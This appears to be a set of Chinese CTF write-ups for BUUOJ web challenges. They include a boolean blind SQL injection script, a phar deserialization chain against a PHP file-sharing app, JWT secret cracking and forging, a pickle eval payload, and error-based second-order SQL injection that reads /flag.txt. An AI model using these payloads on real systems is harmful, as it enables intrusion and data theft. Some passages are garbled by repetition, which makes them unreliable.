id=1'&&'1'='1 bool(false)
id=1&&1=1 Hello, glzjin wants a girlfriend.
很明显数字型
这里的bool(false)感觉像是提示布尔注入,测试了一下联合注入不可,堆叠注入不可
布尔盲注试下
id=(length(database())=11) Hello, glzjin wants a girlfriend.
(length(database())=0) Error Occured When Fetch Result.
可行,说明数据库长度是11
# paload = (ascii(substr((reverse(substr((database())from(1))))from(8)))=97)
import requests
dic = "0123456789qazwsxedcrfvtgbyhnujmikolp{}""''-=+[]"
url = "http://d712a56f-c346-4030-bceb-d192d6b7f3fd.node4.buuoj.cn:81/index.php"
ans = ""
# 正确返回Hello, glzjin wants a girlfriend.
for i in range(1, 12):
# print(i)
j = 12 - i
for k in dic:
uname = "(ascii(substr((reverse(substr((database())from({}))))from({})))={})".format(i, j, str(ord(k)))
# print(uname)
data = {
'id': uname,
}
res = requests.post(url=url, data=data)
# print(res.text)
if "girlfriend" in res.text:
ans += k
print(ans)
# 获取数据库名称database() = ctftraining
for i in range(1, 50):
uname = "(length((select(flag)from(flag)where(id=1)))={})".format(i)
# print(uname)
data = {
"id": uname,
}
res = requests.post(url=url, data=data)
if "girlfriend" in res.text:
print("passwd长度为:" + str(i))
# passwd长度为:42
for i in range(1, 43):
# print(i)
j = 43 - i
# print(j)
for k in dic:
uname = "(ascii(substr((reverse(substr((select(flag)from(flag)where(id=1))from({}))))from({})))={})".format(i, j, ord(k))
# print(uname)
data = {
'id': uname,
}
res = requests.post(url=url,data=data)
# print(res.text)
if "girlfriend" in res.text:
ans += k
print(ans)
[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册试试
可以注册admin多半不是sql注入
发现有上传文件,我们随便上传一个试试
有下载文件,我们去抓个包看看
发现是这种形式,测试一下有没有任意文件下载
可以下载源码那么我们下载下来
index.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
这里发现一个class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '. htmlentities($filename) . '">下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php
HTTP/1.1 200 OK
Server: openresty
Date: Tue, 12 Apr 2022 05:42:55 GMT
Content-Type: application/octet-stream
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=delete.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.40
Content-Length: 644
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
download.php
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
我们可以很自然的想到反序列化的题目,但是这里找了一下并没有找到unserialize(),这里加上存在文件上传.便很自然的想到了phar反序列化问题了.我们去找找有没有可以利用的方法
这里存在两个,我们去找找利用链.转到声明或者用例
可以发现这里的filename可控,并且也可以触发phar的反序列化.那么我们就找到了反序列化的入口了.接着我们去找反序列化的利用链.我们可以从终点开始,由file类的close()方法看看如何调到这里
首先找到了user调用了db的close()方法,这里的db参数可控,那么我们就可以去构造利用这个点去执行我们想要的closef()方法.但是我们如果直接去调用file类的close()方法当然是可以调用到的,但是却没有回显.所以我们很自然就想到了去调用filelist类的call()方法.这里要注意的是__call()方法的 f u n c 参数是调用的方法名 , 后面的 func参数是调用的方法名,后面的 func参数是调用的方法名,后面的args是调用的参数.那么这里又发现这个 f i l e 参数可控 , 就可以构造 file参数可控,就可以构造 file参数可控,就可以构造file为file类去调用file类的close()方法了
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}
$final = new User();
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($final);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
生成phar文件之后,改个名上传一下
接着去delete.php下传参刚才改的名字触发反序列化
python反序列化
打开发现这样
看到有lv6
发现是图片标志我们脚本跑一下
import requests
url = 'http://98fe4479-f4f8-42fc-8ce0-e939a904aaff.node4.buuoj.cn:81/shop?page='
for i in range(1,500):
url = url + str(i)
r = requests.get(url)
if 'lv6.png' in r.text:
print(i)
print(r.text)
break
发现在181页
有点贵
有折扣,我们试试能不能修改
看到page 1 2 3有登录有注册
先注册admin如果成功就跟sql注入jwt没什么关系了
但是很明显没有成功,那么我们就先注册一个普通的登进去
发现回显了用户名和邮箱.再去看看cookie信息
我们先解一下看看
我们先试试去掉密钥
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6IjAifQ
不行,那么我们去爆破一下密钥
找到了
iKun
那么我们直接修改
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
发现www.zip文件
翻到一个这个
留了一个后门
python puckle反序列化漏洞
利用点在become这里
# coding:utf-8
#version:python2.7
import pickle
import urllib
class Test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()" ,))
a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
二次注入
看源码发现提示
发现文件包含
发现有过滤
我们试试别的
?file=php://filter/read=convert.base64-encode/resource=index.php
只有这个可行
index.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "姓名:"
.$row['user_name'].", 电话:"
.$row['phone'].", 地址:"
.$row['address']."";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo ''
.$msg.'';?>
search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "姓名:"
.$row['user_name'].", 电话:"
.$row['phone'].", 地址:"
.$row['address']."";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo ''
.$msg.'';?>
change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo ''
.$msg.'';?>
delete.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo ''
.$msg.'';?>
config.php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
首先这一看就是一个sql注入的题目,并且有打印数据库错误信息,那么很明显就是存在报错注入,只是我们需要去寻找利用点,看一看这里不仅过滤了一些关键词语,并且查询内容是没有回显的,但是发现在change.php中传入了三个参数,但是有两个参数是进行的过滤,还有一个参数是进行的转义处理,如果这里没有宽字节绕过的话,只能是二次注入了.这里也明显能够看到在取出老地址时并没有进行处理,就直接进行了下一条语句的查询.那么简单的二次注入出现了
先提交订单
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #
接着修改订单
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e))-- #
好像不在数据库里面,那么我们读取本地文件试试
1' and extractvalue(1,concat(0x7e,(select left(load_file('/flag.txt'),30)),0x7e))-- #
1' and extractvalue(1,concat(0x7e,(select right(load_file('/flag.txt'),30)),0x7e))-- #
flag{1ffc3205-c4f2-4a9c-937b-a
c4f2-4a9c-937b-a373d7f44a4b}
flag{1ffc3205-c4f2-4a9c-937b-a373d7f44a4b}